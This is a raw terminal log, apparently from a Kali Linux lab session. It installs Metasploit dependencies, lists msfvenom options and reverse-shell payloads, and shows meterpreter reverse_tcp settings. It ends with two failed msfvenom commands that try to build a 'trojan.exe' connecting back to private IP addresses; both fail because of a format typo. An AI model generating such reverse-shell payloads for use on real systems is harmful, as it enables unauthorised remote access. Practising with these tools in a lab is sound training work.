```
[redacted]
# cd /usr/share/metasploit-framework/

[redacted]:/usr/share/metasploit-framework# gem install bundler
Successfully installed bundler-2.4.1
Parsing documentation for bundler-2.4.1
Done installing documentation for bundler after 0 seconds
1 gem installed

[redacted]:/usr/share/metasploit-framework# bundle install
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine.
Using rake 13.0.6
Using Ascii85 1.1.0
Using concurrent-ruby 1.0.5
Using i18n 1.12.0
Using minitest 5.16.3
Using tzinfo 2.0.5
Using zeitwerk 2.6.6
Using activesupport 6.1.7
Using builder 3.2.4
Using erubi 1.11.0
Using racc 1.6.0
Using nokogiri 1.13.9 (x86_64-linux)
Using rails-dom-testing 2.0.3
Using crass 1.0.6
Using loofah 2.19.0
Using rails-html-sanitizer 1.4.3
Using actionview 6.1.7
Using rack 2.2.6
Using rack-test 2.0.2
Using actionpack 6.1.7
Using nio4r 2.5.8
Using websocket-extensions 0.1.5
Using websocket-driver 0.7.5
Using actioncable 6.1.7
Using globalid 1.0.0
Using activejob 6.1.7
Using activemodel 6.1.7
Using activerecord 6.1.7
Using marcel 1.0.2
Using mini_mime 1.1.2
Using actionstorage 6.1.7
Using mail 2.7.1
Using actionmailbox 6.1.7
Using actionmailer 6.1.7
Using actiontext 6.1.7
Using public_suffix 5.0.0
Using addressable 2.8.1
Using afm 0.2.2
Using arel-helpers 2.14.0
[redacted]:/usr/share/metasploit-framework# cd /usr/share/metasploit-framework/

[redacted]:/usr/share/metasploit-framework# gem install bundler
Successfully installed bundler-2.4.1
Parsing documentation for bundler-2.4.1
Done installing documentation for bundler after 0 seconds
1 gem installed

[redacted]:/usr/share/metasploit-framework# bundle install
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine.
Using rake 13.0.6
Using Ascii85 1.1.0
Using concurrent-ruby 1.0.5
Using i18n 1.12.0
Using minitest 5.16.3
Using tzinfo 2.0.5
Using zeitwerk 2.6.6
Using activesupport 6.1.7
Using builder 3.2.4
Using erubi 1.11.0
Using racc 1.6.0
Using nokogiri 1.13.9 (x86_64-linux)
Using rails-dom-testing 2.0.3
Using crass 1.0.6
Using loofah 2.19.0
Using rails-html-sanitizer 1.4.3
Using actionview 6.1.7
Using rack 2.2.6
Using rack-test 2.0.2
Using actionpack 6.1.7
Using nio4r 2.5.8
Using websocket-extensions 0.1.5
Using websocket-driver 0.7.5
Using actioncable 6.1.7
Using globalid 1.0.0
Using activejob 6.1.7
Using activemodel 6.1.7
Using activerecord 6.1.7
Using marcel 1.0.2
Using mini_mime 1.1.2
Using actionstorage 6.1.7
Using mail 2.7.1
Using actionmailbox 6.1.7
Using actionmailer 6.1.7
Using actiontext 6.1.7
Using public_suffix 5.0.0
Using addressable 2.8.1
Using afm 0.2.2
Using arel-helpers 2.14.0
```

```
┌──(root㉿kali)-[/usr/share/metasploit-framework]
└─# cd /root

┌──(root㉿kali)-[~]
└─# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list          <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, ar
chs, encrypt, formats, all
    -p, --payload       <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify
 '-' or STDIN for custom
        --list-options             List --payload <value>'s standard, advanced and evasion options
    -f, --format        <format>   Output format (use --list formats to list)
    -e, --encoder       <encoder>  The encoder to use (use --list encoders to list)
        --service-name  <value>    The service name to use when generating a service binary
        --sec-name      <value>    The new section name to use when generating large Windows binaries. Default: ra
ndom 4-character alpha string
        --smallest                 Generate the smallest possible payload using all available encoders
        --encrypt       <value>    The type of encryption or encoding to apply to the shellcode (use --list encryp
t to list)
        --encrypt-key   <value>    A key to be used for --encrypt
        --encrypt-iv    <value>    An initialization vector for --encrypt
    -a, --arch          <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform      <platform> The platform for --payload (use --list platforms to list)
    -o, --out           <path>     Save the payload to a file
    -b, --bad-chars     <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled       <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                 Use nopsled size specified by -n <length> as the total payload size, auto-prepe
nding a nopsled of quantity (nops minus payload length)
    -s, --space         <length>   The maximum size of the resulting payload
        --encoder-space <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations    <count>    The number of times to encode the payload
    -c, --add-code      <path>     Specify an additional win32 shellcode file to include
    -x, --template      <path>     Specify a custom executable file to use as a template
    -k, --keep                     Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name      <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout       <second>   The number of seconds to wait when reading the payload from STDIN (default 30,
 0 to disable)
    -h, --help                     Show this message
```

```
┌──(root㉿kali)-[~]
└─# msfvenom -l payloads

Framework Payloads (951 total) [--payload <value>]
==================================================

    Name                                              Description
    ----                                              -----------
    aix/ppc/shell_bind_tcp                            Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                           Spawn a shell on an established connection
    aix/ppc/shell_interact                            Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    android/meterpreter/reverse_http                  Run a meterpreter server in Android. Tunnel communicat
                                                      ion over HTTP
    android/meterpreter/reverse_https                 Run a meterpreter server in Android. Tunnel communicat
                                                      ion over HTTPS
    android/meterpreter/reverse_tcp                   Run a meterpreter server in Android. Connect back stag
                                                      er
    android/meterpreter_reverse_http                  Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                 Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                   Connect back to the attacker and spawn a Meterpreter s
                                                      hell
    android/shell/reverse_http                        Spawn a piped command shell (sh). Tunnel communication
                                                       over HTTP
    android/shell/reverse_https                       Spawn a piped command shell (sh). Tunnel communication
                                                       over HTTPS
    android/shell/reverse_tcp                         Spawn a piped command shell (sh). Connect back stager
    apple_ios/aarch64/meterpreter_reverse_http        Run the Meterpreter / Mettle server payload (stageless
                                                      )
    apple_ios/aarch64/meterpreter_reverse_https       Run the Meterpreter / Mettle server payload (stageless
                                                      )
    apple_ios/aarch64/meterpreter_reverse_tcp         Run the Meterpreter / Mettle server payload (stageless
                                                      )
    apple_ios/aarch64/shell_reverse_tcp               Connect back to attacker and spawn a command shell
    apple_ios/armle/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless
                                                      )
    apple_ios/armle/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless
                                                      )
    apple_ios/armle/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless
                                                      )
    bsd/sparc/shell_bind_tcp                          Listen for a connection and spawn a command shell
    bsd/sparc/shell_reverse_tcp                       Connect back to attacker and spawn a command shell
    bsd/vax/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    bsd/x64/exec                                      Execute an arbitrary command
    bsd/x64/shell_bind_ipv6_tcp                       Listen for a connection and spawn a command shell over
                                                       IPv6
    bsd/x64/shell_bind_tcp                            Bind an arbitrary command to an arbitrary port
    bsd/x64/shell_bind_tcp_small                      Listen for a connection and spawn a command shell
    bsd/x64/shell_reverse_ipv6_tcp                    Connect back to attacker and spawn a command shell ove
                                                      r IPv6
    bsd/x64/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
```

```
┌──(root㉿kali)-[~]
└─# msfvenom --list-options -p windows/meterpreter/reverse_tcp
Options for payload/windows/meterpreter/reverse_tcp:


       Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
     Module: payload/windows/meterpreter/reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 296
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    sf <stephen_fewer@harmonysecurity.com>
    OJ Reeves
    hdm <x@hdm.io>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Inject the Meterpreter server DLL via the Reflective Dll Injection
  payload (staged). Requires Windows XP SP2 or newer. Connect back to
  the attacker


Advanced options for payload/windows/meterpreter/reverse_tcp:

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoLoadStdapi          true             yes       Automatically load the Stdapi extension
   AutoRunScript                            no        A script to run automatically on session creation.
   AutoSystemInfo          true             yes       Automatically capture system information on initializat
                                                      ion.
   AutoUnhookProcess       false            yes       Automatically load the unhook extension and unhook the
                                                      process
   AutoVerifySessionTimeout  30             no        Timeout period to wait for session validation to occur.
                                                       in seconds
   EnableStageEncoding     false            no        Encode the second stage payload
   EnableUnicodeEncoding   false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                           no        Path to a SSL certificate in unified PEM format, ignore
                                                      d for HTTP transports
```

```
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f eve > trojan.exe
Error: invalid format: eve

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
```

```
┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.169.195 LPORT=4444 -f eve > trojan.eve
Error: invalid format: eve

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
```